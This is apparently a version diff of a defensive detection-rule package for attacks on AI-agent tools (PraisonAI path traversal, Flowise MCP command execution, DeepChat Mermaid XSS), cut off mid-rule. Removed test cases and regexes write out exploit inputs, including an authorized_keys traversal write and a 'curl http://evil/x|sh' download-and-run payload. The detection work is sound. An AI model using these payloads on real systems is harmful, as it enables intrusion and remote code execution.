agent-threat-rules 4.0.0 → 4.2.0

package/rules/tool-poisoning/ATR-2026-01963-praisonai-action-orchestrator-step-target-path-traversal-rce.yaml

@@ -1,98 +1,93 @@
-title: "PraisonAI Action Orchestrator step.target Path Traversal Arbitrary File Write RCE (CVE-2026-39305 / GHSA-jfxc-v5g9-38xr)"
+title: PraisonAI Action Orchestrator step.target Path Traversal Arbitrary File Write RCE (CVE-2026-39305 / GHSA-jfxc-v5g9-38xr)
 id: ATR-2026-01963
 rule_version: 1
 status: experimental
-description: >
-  Detects CVE-2026-39305 (GHSA-jfxc-v5g9-38xr, CWE-22, CRITICAL): PraisonAI
-  (< 4.5.113) Action Orchestrator builds a write path as `workspace / step.target`
-  without resolving or boundary-checking it. An ActionStep of type FILE_CREATE /
-  FILE_EDIT whose `target` contains `../` traversal escapes the workspace and writes
-  arbitrary files (e.g. ~/.ssh/authorized_keys, ~/.bashrc), yielding RCE. This rule
-  keys on the Action Orchestrator sink tokens (ActionStep / step.target / FILE_CREATE /
-  FILE_EDIT) co-occurring with relative traversal sequences and sensitive write targets.
-author: "ATR Community"
-date: "2026/06/29"
-schema_version: "0.1"
+description: |
+  Detects CVE-2026-39305 (GHSA-jfxc-v5g9-38xr, CWE-22, CRITICAL): PraisonAI (< 4.5.113) Action Orchestrator builds a write path as `workspace / step.target` without resolving or boundary-checking it. An ActionStep of type FILE_CREATE / FILE_EDIT whose `target` contains `../` traversal escapes the workspace and writes arbitrary files (e.g. ~/.ssh/authorized_keys, ~/.bashrc), yielding RCE. This rule keys on the Action Orchestrator sink tokens (ActionStep / step.target / FILE_CREATE / FILE_EDIT) co-occurring with relative traversal sequences and sensitive write targets.
+author: ATR Community
+date: 2026/06/29
+schema_version: '0.1'
 detection_tier: pattern
 maturity: test
 severity: critical
 references:
-  owasp_llm: ["LLM06:2025"]
-  owasp_agentic: ["ASI06:2026"]
-  mitre_atlas: ["AML.T0049 - Exploit Public-Facing Application"]
-  mitre_attack: ["T1190 - Exploit Public-Facing Application"]
-  cve: ["CVE-2026-39305"]
-metadata_provenance: { mitre_atlas: human-reviewed, owasp_llm: human-reviewed, owasp_agentic: human-reviewed }
+  owasp_llm:
+    - LLM06:2025
+  owasp_agentic:
+    - ASI06:2026
+  mitre_atlas:
+    - AML.T0049 - Exploit Public-Facing Application
+  mitre_attack:
+    - T1190 - Exploit Public-Facing Application
+  cve:
+    - CVE-2026-39305
+metadata_provenance:
+  mitre_atlas: human-reviewed
+  owasp_llm: human-reviewed
+  owasp_agentic: human-reviewed
 compliance:
   eu_ai_act:
-    - article: "15"
-      context: "Article 15 (accuracy, robustness, cybersecurity) — runtime detection of this technique is a cybersecurity control for high-risk AI systems. Technique: PraisonAI Action Orchestrator step.target Path Traversal Arbitrary File Write RCE (CVE-2026-39305 / GHSA-jfxc-v5g9-38xr)."
+    - article: '15'
+      context: 'Article 15 (accuracy, robustness, cybersecurity) — runtime detection of this technique is a cybersecurity control for high-risk AI systems. Technique: PraisonAI Action Orchestrator step.target Path Traversal Arbitrary File Write RCE (CVE-2026-39305 / GHSA-jfxc-v5g9-38xr).'
       strength: primary
-    - article: "9"
-      context: "Article 9 (risk management system) requires identified risks to be addressed by appropriate measures; this rule is a runtime risk-treatment control. Technique: PraisonAI Action Orchestrator step.target Path Traversal Arbitrary File Write RCE (CVE-2026-39305 / GHSA-jfxc-v5g9-38xr)."
+    - article: '9'
+      context: 'Article 9 (risk management system) requires identified risks to be addressed by appropriate measures; this rule is a runtime risk-treatment control. Technique: PraisonAI Action Orchestrator step.target Path Traversal Arbitrary File Write RCE (CVE-2026-39305 / GHSA-jfxc-v5g9-38xr).'
       strength: secondary
   nist_ai_rmf:
-    - subcategory: "MP.5.1"
-      context: "NIST AI RMF MAP 5.1 — likelihood and impact of the identified attack are characterised; this rule detects the adversarial input at runtime. Technique: PraisonAI Action Orchestrator step.target Path Traversal Arbitrary File Write RCE (CVE-2026-39305 / GHSA-jfxc-v5g9-38xr)."
+    - subcategory: MP.5.1
+      context: 'NIST AI RMF MAP 5.1 — likelihood and impact of the identified attack are characterised; this rule detects the adversarial input at runtime. Technique: PraisonAI Action Orchestrator step.target Path Traversal Arbitrary File Write RCE (CVE-2026-39305 / GHSA-jfxc-v5g9-38xr).'
       strength: primary
-    - subcategory: "MG.3.2"
-      context: "NIST AI RMF MANAGE 3.2 — runtime monitoring/maintenance control that surfaces this attack class. Technique: PraisonAI Action Orchestrator step.target Path Traversal Arbitrary File Write RCE (CVE-2026-39305 / GHSA-jfxc-v5g9-38xr)."
+    - subcategory: MG.3.2
+      context: 'NIST AI RMF MANAGE 3.2 — runtime monitoring/maintenance control that surfaces this attack class. Technique: PraisonAI Action Orchestrator step.target Path Traversal Arbitrary File Write RCE (CVE-2026-39305 / GHSA-jfxc-v5g9-38xr).'
       strength: secondary
   iso_42001:
-    - clause: "8.1"
-      context: "ISO/IEC 42001 Clause 8.1 (operational planning and control) — detection of this payload is an operational control. Technique: PraisonAI Action Orchestrator step.target Path Traversal Arbitrary File Write RCE (CVE-2026-39305 / GHSA-jfxc-v5g9-38xr)."
+    - clause: '8.1'
+      context: 'ISO/IEC 42001 Clause 8.1 (operational planning and control) — detection of this payload is an operational control. Technique: PraisonAI Action Orchestrator step.target Path Traversal Arbitrary File Write RCE (CVE-2026-39305 / GHSA-jfxc-v5g9-38xr).'
       strength: primary
-    - clause: "8.3"
-      context: "ISO/IEC 42001 Clause 8.3 (AI risk treatment) — this rule implements runtime detection as a treatment control. Technique: PraisonAI Action Orchestrator step.target Path Traversal Arbitrary File Write RCE (CVE-2026-39305 / GHSA-jfxc-v5g9-38xr)."
+    - clause: '8.3'
+      context: 'ISO/IEC 42001 Clause 8.3 (AI risk treatment) — this rule implements runtime detection as a treatment control. Technique: PraisonAI Action Orchestrator step.target Path Traversal Arbitrary File Write RCE (CVE-2026-39305 / GHSA-jfxc-v5g9-38xr).'
       strength: secondary
-tags: { category: tool-poisoning, subcategory: path-traversal-arbitrary-file-write, scan_target: both, confidence: high, source: cve-disclosure, vendor_sources: praisonai-cve-2026-39305 }
-agent_source: { type: llm_io, framework: [praisonai, any], provider: [any] }
+tags:
+  category: tool-poisoning
+  subcategory: path-traversal-arbitrary-file-write
+  scan_target: both
+  confidence: high
+  source: cve-disclosure
+  vendor_sources: praisonai-cve-2026-39305
+agent_source:
+  type: llm_io
+  framework:
+    - praisonai
+    - any
+  provider:
+    - any
 detection:
   condition: any
   false_positives:
-    - "Legitimate PraisonAI ActionStep FILE_CREATE/FILE_EDIT whose target is a normal relative filename inside the workspace (no ../ traversal)."
-    - "Incident-response or hardening checklists that mention ~/.ssh/authorized_keys or .bashrc defensively, without any path-traversal write."
-    - "Security advisory text quoting CVE-2026-39305 as a fixed/mitigated issue without an executable traversal payload."
+    - Legitimate PraisonAI ActionStep FILE_CREATE/FILE_EDIT whose target is a normal relative filename inside the workspace (no ../ traversal).
+    - Incident-response or hardening checklists that mention ~/.ssh/authorized_keys or .bashrc defensively, without any path-traversal write.
+    - Security advisory text quoting CVE-2026-39305 as a fixed/mitigated issue without an executable traversal payload.
   conditions:
     - field: content
       operator: regex
-      value: '(?i)(?:ActionStep|action[_-]?type|step\.target|target\s*=)[\s\S]{0,200}(?:FILE_CREATE|FILE_EDIT)?[\s\S]{0,120}target\s*[=:]\s*["'']?(?:\.\.[\\/]){3,}'
-      description: "one line: PraisonAI ActionStep with a FILE_CREATE/FILE_EDIT target value containing 3+ ../ traversal segments — the core step.target escape"
+      value: (?i)(?:ActionStep|action[_-]?type|step\.target|target\s*=)[\s\S]{0,200}(?:FILE_CREATE|FILE_EDIT)?[\s\S]{0,120}target\s*[=:]\s*["']?(?:\.\.[\\/]){3,}
+      description: 'one line: PraisonAI ActionStep with a FILE_CREATE/FILE_EDIT target value containing 3+ ../ traversal segments — the core step.target escape'
     - field: content
       operator: regex
-      value: '(?i)(?:\.\.[\\/]){3,}[^\n"'']{0,120}(?:tmp/orchestrator_pwned|\.ssh/authorized_keys|/\.bashrc|/\.bash_profile|/\.profile)'
-      description: "one line: relative traversal chain writing to the advisory PoC sink (orchestrator_pwned) or sensitive RCE targets (authorized_keys/.bashrc/.profile)"
+      value: (?i)(?:\.\.[\\/]){3,}[^\n"']{0,120}(?:tmp/orchestrator_pwned|\.ssh/authorized_keys|/\.bashrc|/\.bash_profile|/\.profile)
+      description: 'one line: relative traversal chain writing to the advisory PoC sink (orchestrator_pwned) or sensitive RCE targets (authorized_keys/.bashrc/.profile)'
     - field: content
       operator: regex
-      value: '(?i)(?:praisonai|action[_-]?orchestrator)[\s\S]{0,200}(?:\.\.[\\/]){2,}[\s\S]{0,80}(?:FILE_CREATE|FILE_EDIT|step\.target|workspace\s*/\s*step)'
-      description: "one line: PraisonAI / Action Orchestrator context combined with traversal sequences and the workspace/step.target write sink"
+      value: (?i)(?:praisonai|action[_-]?orchestrator)[\s\S]{0,200}(?:\.\.[\\/]){2,}[\s\S]{0,80}(?:FILE_CREATE|FILE_EDIT|step\.target|workspace\s*/\s*step)
+      description: 'one line: PraisonAI / Action Orchestrator context combined with traversal sequences and the workspace/step.target write sink'
     - field: content
       operator: regex
-      value: '(?i)CVE-2026-39305[\s\S]{0,200}(?:path[\s_-]?traversal|step\.target|action[\s_-]?orchestrator|FILE_CREATE|authorized_keys|arbitrary[\s_-]?file)'
-      description: "explicit CVE framing"
+      value: (?i)CVE-2026-39305[\s\S]{0,200}(?:path[\s_-]?traversal|step\.target|action[\s_-]?orchestrator|FILE_CREATE|authorized_keys|arbitrary[\s_-]?file)
+      description: explicit CVE framing
 response:
-  actions: [alert, block_input]
-  message_template: >
+  actions:
+    - alert
+    - block_input
+  message_template: |
     [ATR-2026-01963] CRITICAL: PraisonAI Action Orchestrator step.target path traversal (CVE-2026-39305) writes arbitrary files outside the workspace (e.g. ~/.ssh/authorized_keys) enabling RCE. Block this ActionStep, canonicalise/validate target paths against the workspace boundary, and upgrade PraisonAI to >= 4.5.113.
 confidence: 80
-test_cases:
-  true_positives:
-    - input: "ActionStep(id='x', action_type=ActionType.FILE_CREATE, target='../../../../../../../tmp/orchestrator_pwned.txt', params={'content':'pwned'})"
-      expected: triggered
-      description: "Verbatim advisory PoC: FILE_CREATE ActionStep with deep ../ traversal target to /tmp/orchestrator_pwned.txt"
-    - input: "PraisonAI Action Orchestrator step.target = '../../../../../../.ssh/authorized_keys' via workspace / step.target FILE_CREATE write"
-      expected: triggered
-      description: "Action Orchestrator traversal writing the SSH backdoor sink described in the advisory"
-    - input: "CVE-2026-39305: PraisonAI Action Orchestrator path traversal in step.target allows arbitrary file write (authorized_keys) leading to RCE"
-      expected: triggered
-      description: "Explicit CVE-2026-39305 reference with path-traversal and authorized_keys exploit context"
-  true_negatives:
-    - input: "ActionStep(action_type=ActionType.FILE_CREATE, target='reports/summary.md', params={'content':'done'})"
-      expected: not_triggered
-      description: "Legitimate Action Orchestrator FILE_CREATE writing a normal relative path inside the workspace — no ../ traversal"
-    - input: "Incident response checklist: review ~/.ssh/authorized_keys for SSH backdoors and rotate keys"
-      expected: not_triggered
-      description: "Defensive mention of authorized_keys with no traversal sequence and no orchestrator/ActionStep sink"
-    - input: "Upgrade PraisonAI to 4.5.113 to remediate CVE-2026-39305"
-      expected: not_triggered
-      description: "Mitigation advice citing the CVE without any traversal payload or exploit tokens"

package/rules/tool-poisoning/ATR-2026-01965-flowise-custommcp-os-command-rce.yaml

@@ -1,58 +1,51 @@
-title: "Flowise Custom MCP node-load-method OS Command RCE (CVE-2025-8943)"
+title: Flowise Custom MCP node-load-method OS Command RCE (CVE-2025-8943)
 id: ATR-2026-01965
 rule_version: 1
 status: experimental
-description: >
-  Detects CVE-2025-8943 (CVSS 9.8 CRITICAL, CWE-78): Flowise < 3.0.1 exposes the
-  Custom MCP feature via the POST /api/v1/node-load-method/customMCP endpoint,
-  which passes inputs.mcpServerConfig.command + args directly into StdioClientTransport
-  (unsandboxed OS exec). With loadMethod set to "listActions" and no FLOWISE_USERNAME/
-  PASSWORD configured, an attacker reaches RCE unauthenticated using the
-  x-request-from: internal header. This rule keys on the specific endpoint path, the
-  mcpServerConfig+loadMethod:listActions exploit triple, and the internal-header auth
-  bypass — NOT on generic command/args MCP config which is benign and ubiquitous.
-author: "ATR Community"
-date: "2026/06/29"
-schema_version: "0.1"
+description: |
+  Detects CVE-2025-8943 (CVSS 9.8 CRITICAL, CWE-78): Flowise < 3.0.1 exposes the Custom MCP feature via the POST /api/v1/node-load-method/customMCP endpoint, which passes inputs.mcpServerConfig.command + args directly into StdioClientTransport (unsandboxed OS exec). With loadMethod set to "listActions" and no FLOWISE_USERNAME/ PASSWORD configured, an attacker reaches RCE unauthenticated using the x-request-from: internal header. This rule keys on the specific endpoint path, the mcpServerConfig+loadMethod:listActions exploit triple, and the internal-header auth bypass — NOT on generic command/args MCP config which is benign and ubiquitous.
+author: ATR Community
+date: 2026/06/29
+schema_version: '0.1'
 detection_tier: pattern
 maturity: test
 severity: critical
 references:
   owasp_llm:
-    - "LLM06:2025"
+    - LLM06:2025
   owasp_agentic:
-    - "ASI06:2026"
+    - ASI06:2026
   mitre_atlas:
-    - "AML.T0049 - Exploit Public-Facing Application"
+    - AML.T0049 - Exploit Public-Facing Application
   mitre_attack:
-    - "T1190 - Exploit Public-Facing Application"
+    - T1190 - Exploit Public-Facing Application
   cve:
-    - "CVE-2025-8943"
+    - CVE-2025-8943
 metadata_provenance:
   mitre_atlas: human-reviewed
   owasp_llm: human-reviewed
   owasp_agentic: human-reviewed
 compliance:
   eu_ai_act:
-    - article: "15"
-      context: "Article 15 (accuracy, robustness, cybersecurity) — runtime detection of this technique is a cybersecurity control for high-risk AI systems. Technique: Flowise Custom MCP node-load-method OS Command RCE (CVE-2025-8943)."
+    - article: '15'
+      context: 'Article 15 (accuracy, robustness, cybersecurity) — runtime detection of this technique is a cybersecurity control for high-risk AI systems. Technique: Flowise Custom MCP node-load-method OS Command RCE (CVE-2025-8943).'
       strength: primary
-    - article: "9"
-      context: "Article 9 (risk management system) requires identified risks to be addressed by appropriate measures; this rule is a runtime risk-treatment control. Technique: Flowise Custom MCP node-load-method OS Command RCE (CVE-2025-8943)."
+    - article: '9'
+      context: 'Article 9 (risk management system) requires identified risks to be addressed by appropriate measures; this rule is a runtime risk-treatment control. Technique: Flowise Custom MCP node-load-method OS Command RCE (CVE-2025-8943).'
       strength: secondary
   nist_ai_rmf:
-    - subcategory: "MP.5.1"
-      context: "NIST AI RMF MAP 5.1 — likelihood and impact of the identified attack are characterised; this rule detects the adversarial input at runtime. Technique: Flowise Custom MCP node-load-method OS Command RCE (CVE-2025-8943)."
+    - subcategory: MP.5.1
+      context: 'NIST AI RMF MAP 5.1 — likelihood and impact of the identified attack are characterised; this rule detects the adversarial input at runtime. Technique: Flowise Custom MCP node-load-method OS Command RCE (CVE-2025-8943).'
       strength: primary
-    - subcategory: "MG.3.2"
-      context: "NIST AI RMF MANAGE 3.2 — runtime monitoring/maintenance control that surfaces this attack class. Technique: Flowise Custom MCP node-load-method OS Command RCE (CVE-2025-8943)."
+    - subcategory: MG.3.2
+      context: 'NIST AI RMF MANAGE 3.2 — runtime monitoring/maintenance control that surfaces this attack class. Technique: Flowise Custom MCP node-load-method OS Command RCE (CVE-2025-8943).'
       strength: secondary
   iso_42001:
-    - clause: "8.1"
-      context: "ISO/IEC 42001 Clause 8.1 (operational planning and control) — detection of this payload is an operational control. Technique: Flowise Custom MCP node-load-method OS Command RCE (CVE-2025-8943)."
+    - clause: '8.1'
+      context: 'ISO/IEC 42001 Clause 8.1 (operational planning and control) — detection of this payload is an operational control. Technique: Flowise Custom MCP node-load-method OS Command RCE (CVE-2025-8943).'
       strength: primary
-    - clause: "8.3"
-      context: "ISO/IEC 42001 Clause 8.3 (AI risk treatment) — this rule implements runtime detection as a treatment control. Technique: Flowise Custom MCP node-load-method OS Command RCE (CVE-2025-8943)."
+    - clause: '8.3'
+      context: 'ISO/IEC 42001 Clause 8.3 (AI risk treatment) — this rule implements runtime detection as a treatment control. Technique: Flowise Custom MCP node-load-method OS Command RCE (CVE-2025-8943).'
       strength: secondary
 tags:
   category: tool-poisoning
@@ -70,67 +63,33 @@ agent_source:
 detection:
   condition: any
   false_positives:
-    - "Legitimate Flowise Custom MCP node configuring a real local MCP server (e.g. command npx, args @modelcontextprotocol/server-filesystem) without the listActions loadMethod probe shape."
-    - "Generic MCP server JSON config containing command/args keys, which is standard and benign across thousands of MCP clients."
-    - "Flowise documentation or patch advisory referencing the node-load-method endpoint without an exploit payload or the internal auth-bypass header."
+    - Legitimate Flowise Custom MCP node configuring a real local MCP server (e.g. command npx, args @modelcontextprotocol/server-filesystem) without the listActions loadMethod probe shape.
+    - Generic MCP server JSON config containing command/args keys, which is standard and benign across thousands of MCP clients.
+    - Flowise documentation or patch advisory referencing the node-load-method endpoint without an exploit payload or the internal auth-bypass header.
   conditions:
     - field: content
       operator: regex
-      value: '(?i)node-load-method/customMCP[\s\S]{0,400}mcpServerConfig[\s\S]{0,400}["\x27]?loadMethod["\x27]?\s*[:=]\s*["\x27]listActions["\x27]'
-      description: >
-        Flowise customMCP node-load-method endpoint combined with the
-        mcpServerConfig payload and loadMethod:listActions probe — the exact
-        CVE-2025-8943 RCE request shape
+      value: (?i)node-load-method/customMCP[\s\S]{0,400}mcpServerConfig[\s\S]{0,400}["\x27]?loadMethod["\x27]?\s*[:=]\s*["\x27]listActions["\x27]
+      description: |
+        Flowise customMCP node-load-method endpoint combined with the mcpServerConfig payload and loadMethod:listActions probe — the exact CVE-2025-8943 RCE request shape
     - field: content
       operator: regex
-      value: '(?i)mcpServerConfig["\x27]?\s*:\s*\{[\s\S]{0,200}["\x27]command["\x27]?\s*:[\s\S]{0,300}["\x27]?loadMethod["\x27]?\s*:\s*["\x27]listActions["\x27]'
-      description: >
-        inputs.mcpServerConfig.command JSON body paired with loadMethod
-        listActions — the Custom MCP command-exec trigger used in the PoC
+      value: (?i)mcpServerConfig["\x27]?\s*:\s*\{[\s\S]{0,200}["\x27]command["\x27]?\s*:[\s\S]{0,300}["\x27]?loadMethod["\x27]?\s*:\s*["\x27]listActions["\x27]
+      description: |
+        inputs.mcpServerConfig.command JSON body paired with loadMethod listActions — the Custom MCP command-exec trigger used in the PoC
     - field: content
       operator: regex
-      value: '(?i)x-request-from\s*:\s*internal[\s\S]{0,300}(?:node-load-method/customMCP|mcpServerConfig)'
-      description: >
-        x-request-from: internal auth-bypass header combined with the customMCP
-        endpoint or mcpServerConfig — unauthenticated RCE path for default installs
+      value: (?i)x-request-from\s*:\s*internal[\s\S]{0,300}(?:node-load-method/customMCP|mcpServerConfig)
+      description: |
+        x-request-from: internal auth-bypass header combined with the customMCP endpoint or mcpServerConfig — unauthenticated RCE path for default installs
     - field: content
       operator: regex
-      value: '(?i)CVE-2025-8943[\s\S]{0,200}(?:customMCP|mcpServerConfig|node-load-method|StdioClientTransport|listActions)'
-      description: "explicit CVE framing tied to the Flowise customMCP sink"
+      value: (?i)CVE-2025-8943[\s\S]{0,200}(?:customMCP|mcpServerConfig|node-load-method|StdioClientTransport|listActions)
+      description: explicit CVE framing tied to the Flowise customMCP sink
 response:
   actions:
     - alert
     - block_input
-  message_template: >
-    [ATR-2026-01965] CRITICAL: Flowise Custom MCP RCE (CVE-2025-8943, CVSS 9.8) —
-    node-load-method/customMCP runs mcpServerConfig.command/args via
-    StdioClientTransport, reachable unauthenticated with x-request-from: internal.
-    Block this input and upgrade Flowise to >= 3.0.1 (flowise-components >= 3.0.8).
+  message_template: |
+    [ATR-2026-01965] CRITICAL: Flowise Custom MCP RCE (CVE-2025-8943, CVSS 9.8) — node-load-method/customMCP runs mcpServerConfig.command/args via StdioClientTransport, reachable unauthenticated with x-request-from: internal. Block this input and upgrade Flowise to >= 3.0.1 (flowise-components >= 3.0.8).
 confidence: 85
-test_cases:
-  true_positives:
-    - input: 'POST /api/v1/node-load-method/customMCP {"inputs":{"mcpServerConfig":{"command":"touch","args":["/tmp/yofitofi"]}},"loadMethod":"listActions"}'
-      expected: triggered
-      description: "Exact JFrog PoC: customMCP endpoint + mcpServerConfig command/args + loadMethod listActions"
-    - input: '{"inputs": {"mcpServerConfig": {"command": "bash", "args": ["-c", "curl http://evil/x|sh"]}}, "loadMethod": "listActions"}'
-      expected: triggered
-      description: "mcpServerConfig.command bash reverse-shell payload with the listActions trigger"
-    - input: 'curl -H "x-request-from: internal" http://target:3000/api/v1/node-load-method/customMCP -d @payload --mcpServerConfig command'
-      expected: triggered
-      description: "Unauthenticated exploit using x-request-from internal header against the customMCP endpoint"
-    - input: "CVE-2025-8943 Flowise RCE: send mcpServerConfig command/args to node-load-method/customMCP with loadMethod listActions"
-      expected: triggered
-      description: "Attack-framing text tying CVE-2025-8943 to the customMCP sink"
-  true_negatives:
-    - input: '{"command": "npx", "args": ["-y", "@modelcontextprotocol/server-filesystem", "/data"]}'
-      expected: not_triggered
-      description: "Standard benign MCP server config with command/args but no Flowise endpoint, mcpServerConfig, or listActions"
-    - input: 'In Flowise, the node-load-method endpoint loads available node parameters when you open a node in the canvas editor.'
-      expected: not_triggered
-      description: "Benign mention of the node-load-method endpoint with no mcpServerConfig payload or loadMethod listActions"
-    - input: '{"mcpServerConfig": {"command": "npx", "args": ["@my-org/mcp-server"]}, "loadMethod": "loadConfig"}'
-      expected: not_triggered
-      description: "Real Custom MCP config wiring a legitimate server — loadMethod is not the listActions probe used by the exploit"
-    - input: "Upgrade Flowise to 3.0.1 to patch CVE-2025-8943; the fix adds authentication to the Custom MCP node."
-      expected: not_triggered
-      description: "Mitigation advisory referencing the CVE without any exploit payload or auth-bypass header"

package/rules/tool-poisoning/ATR-2026-01967-deepchat-mermaid-xss-rce-ipc-mcp-register.yaml

@@ -1,96 +1,88 @@
-title: "DeepChat Mermaid XSS to RCE via Electron IPC MCP Server Registration (CVE-2025-66481 / GHSA-h9f5-7hhf-fqm4)"
+title: DeepChat Mermaid XSS to RCE via Electron IPC MCP Server Registration (CVE-2025-66481 / GHSA-h9f5-7hhf-fqm4)
 id: ATR-2026-01967
 rule_version: 1
 status: experimental
-description: >
-  Detects CVE-2025-66481 (CVSS 9.6 CRITICAL): DeepChat <= 0.5.1 incompletely
-  sanitizes Mermaid diagram content in MermaidArtifact.vue. The sanitizer regex
-  /on\w+\s*=\s*["'][^"']*["']/ only strips QUOTED event-handler attributes, so an
-  unquoted handler (e.g. `<audio src=x onerror=...>`) survives and executes in the
-  Electron renderer. The PoC handler invokes window.electron.ipcRenderer.invoke
-  ('presenter:call','mcpPresenter','addMcpServer',...) then 'startServer' to register
-  and launch a malicious stdio MCP server (command:'calc.exe'), escalating stored
-  XSS to remote code execution. This rule keys on the unquoted-onerror + IPC
-  presenter:call mcpPresenter addMcpServer/startServer tokens, not on Mermaid alone.
-author: "ATR Community"
-date: "2026/06/29"
-schema_version: "0.1"
+description: |
+  Detects CVE-2025-66481 (CVSS 9.6 CRITICAL): DeepChat <= 0.5.1 incompletely sanitizes Mermaid diagram content in MermaidArtifact.vue. The sanitizer regex /on\w+\s*=\s*["'][^"']*["']/ only strips QUOTED event-handler attributes, so an unquoted handler (e.g. `<audio src=x onerror=...>`) survives and executes in the Electron renderer. The PoC handler invokes window.electron.ipcRenderer.invoke ('presenter:call','mcpPresenter','addMcpServer',...) then 'startServer' to register and launch a malicious stdio MCP server (command:'calc.exe'), escalating stored XSS to remote code execution. This rule keys on the unquoted-onerror + IPC presenter:call mcpPresenter addMcpServer/startServer tokens, not on Mermaid alone.
+author: ATR Community
+date: 2026/06/29
+schema_version: '0.1'
 detection_tier: pattern
 maturity: test
 severity: critical
 references:
-  owasp_llm: ["LLM06:2025"]
-  owasp_agentic: ["ASI06:2026"]
-  mitre_atlas: ["AML.T0049 - Exploit Public-Facing Application"]
-  mitre_attack: ["T1190 - Exploit Public-Facing Application"]
-  cve: ["CVE-2025-66481"]
-metadata_provenance: { mitre_atlas: human-reviewed, owasp_llm: human-reviewed, owasp_agentic: human-reviewed }
+  owasp_llm:
+    - LLM06:2025
+  owasp_agentic:
+    - ASI06:2026
+  mitre_atlas:
+    - AML.T0049 - Exploit Public-Facing Application
+  mitre_attack:
+    - T1190 - Exploit Public-Facing Application
+  cve:
+    - CVE-2025-66481
+metadata_provenance:
+  mitre_atlas: human-reviewed
+  owasp_llm: human-reviewed
+  owasp_agentic: human-reviewed
 compliance:
   eu_ai_act:
-    - article: "15"
-      context: "Article 15 (accuracy, robustness, cybersecurity) — runtime detection of this technique is a cybersecurity control for high-risk AI systems. Technique: DeepChat Mermaid XSS to RCE via Electron IPC MCP Server Registration (CVE-2025-66481 / GHSA-h9f5-7hhf-fqm4)."
+    - article: '15'
+      context: 'Article 15 (accuracy, robustness, cybersecurity) — runtime detection of this technique is a cybersecurity control for high-risk AI systems. Technique: DeepChat Mermaid XSS to RCE via Electron IPC MCP Server Registration (CVE-2025-66481 / GHSA-h9f5-7hhf-fqm4).'
       strength: primary
-    - article: "9"
-      context: "Article 9 (risk management system) requires identified risks to be addressed by appropriate measures; this rule is a runtime risk-treatment control. Technique: DeepChat Mermaid XSS to RCE via Electron IPC MCP Server Registration (CVE-2025-66481 / GHSA-h9f5-7hhf-fqm4)."
+    - article: '9'
+      context: 'Article 9 (risk management system) requires identified risks to be addressed by appropriate measures; this rule is a runtime risk-treatment control. Technique: DeepChat Mermaid XSS to RCE via Electron IPC MCP Server Registration (CVE-2025-66481 / GHSA-h9f5-7hhf-fqm4).'
       strength: secondary
   nist_ai_rmf:
-    - subcategory: "MP.5.1"
-      context: "NIST AI RMF MAP 5.1 — likelihood and impact of the identified attack are characterised; this rule detects the adversarial input at runtime. Technique: DeepChat Mermaid XSS to RCE via Electron IPC MCP Server Registration (CVE-2025-66481 / GHSA-h9f5-7hhf-fqm4)."
+    - subcategory: MP.5.1
+      context: 'NIST AI RMF MAP 5.1 — likelihood and impact of the identified attack are characterised; this rule detects the adversarial input at runtime. Technique: DeepChat Mermaid XSS to RCE via Electron IPC MCP Server Registration (CVE-2025-66481 / GHSA-h9f5-7hhf-fqm4).'
       strength: primary
-    - subcategory: "MG.3.2"
-      context: "NIST AI RMF MANAGE 3.2 — runtime monitoring/maintenance control that surfaces this attack class. Technique: DeepChat Mermaid XSS to RCE via Electron IPC MCP Server Registration (CVE-2025-66481 / GHSA-h9f5-7hhf-fqm4)."
+    - subcategory: MG.3.2
+      context: 'NIST AI RMF MANAGE 3.2 — runtime monitoring/maintenance control that surfaces this attack class. Technique: DeepChat Mermaid XSS to RCE via Electron IPC MCP Server Registration (CVE-2025-66481 / GHSA-h9f5-7hhf-fqm4).'
       strength: secondary
   iso_42001:
-    - clause: "8.1"
-      context: "ISO/IEC 42001 Clause 8.1 (operational planning and control) — detection of this payload is an operational control. Technique: DeepChat Mermaid XSS to RCE via Electron IPC MCP Server Registration (CVE-2025-66481 / GHSA-h9f5-7hhf-fqm4)."
+    - clause: '8.1'
+      context: 'ISO/IEC 42001 Clause 8.1 (operational planning and control) — detection of this payload is an operational control. Technique: DeepChat Mermaid XSS to RCE via Electron IPC MCP Server Registration (CVE-2025-66481 / GHSA-h9f5-7hhf-fqm4).'
       strength: primary
-    - clause: "8.3"
-      context: "ISO/IEC 42001 Clause 8.3 (AI risk treatment) — this rule implements runtime detection as a treatment control. Technique: DeepChat Mermaid XSS to RCE via Electron IPC MCP Server Registration (CVE-2025-66481 / GHSA-h9f5-7hhf-fqm4)."
+    - clause: '8.3'
+      context: 'ISO/IEC 42001 Clause 8.3 (AI risk treatment) — this rule implements runtime detection as a treatment control. Technique: DeepChat Mermaid XSS to RCE via Electron IPC MCP Server Registration (CVE-2025-66481 / GHSA-h9f5-7hhf-fqm4).'
       strength: secondary
-tags: { category: tool-poisoning, subcategory: mermaid-xss-ipc-rce, scan_target: both, confidence: high, source: cve-disclosure, vendor_sources: deepchat-cve-2025-66481 }
-agent_source: { type: llm_io, framework: [any], provider: [any] }
+tags:
+  category: tool-poisoning
+  subcategory: mermaid-xss-ipc-rce
+  scan_target: both
+  confidence: high
+  source: cve-disclosure
+  vendor_sources: deepchat-cve-2025-66481
+agent_source:
+  type: llm_io
+  framework:
+    - any
+  provider:
+    - any
 detection:
   condition: any
   false_positives:
-    - "A legitimate Mermaid diagram (graph/flowchart/sequenceDiagram) with node labels and no event-handler attributes or IPC calls."
-    - "DeepChat source/docs discussing the electron.ipcRenderer presenter bridge or mcpPresenter API without an embedded onerror handler payload."
-    - "A normal addMcpServer config object with command:'npx' that is not wrapped inside an HTML event handler attribute."
+    - A legitimate Mermaid diagram (graph/flowchart/sequenceDiagram) with node labels and no event-handler attributes or IPC calls.
+    - DeepChat source/docs discussing the electron.ipcRenderer presenter bridge or mcpPresenter API without an embedded onerror handler payload.
+    - A normal addMcpServer config object with command:'npx' that is not wrapped inside an HTML event handler attribute.
   conditions:
     - field: content
       operator: regex
-      value: '(?i)<\s*(?:audio|img|video|svg|image|object|input|body|details)\b[^>]*\bon\w+\s*=\s*[^"''\s>][^>]*?(?:electron\.)?ipcRenderer\.invoke\s*\(\s*[''"]presenter:call[''"]'
-      description: "one line: HTML tag with an UNQUOTED event handler whose body calls ipcRenderer.invoke('presenter:call' — the CVE-2025-66481 sanitizer-bypass + IPC sink"
+      value: (?i)<\s*(?:audio|img|video|svg|image|object|input|body|details)\b[^>]*\bon\w+\s*=\s*[^"'\s>][^>]*?(?:electron\.)?ipcRenderer\.invoke\s*\(\s*['"]presenter:call['"]
+      description: 'one line: HTML tag with an UNQUOTED event handler whose body calls ipcRenderer.invoke(''presenter:call'' — the CVE-2025-66481 sanitizer-bypass + IPC sink'
     - field: content
       operator: regex
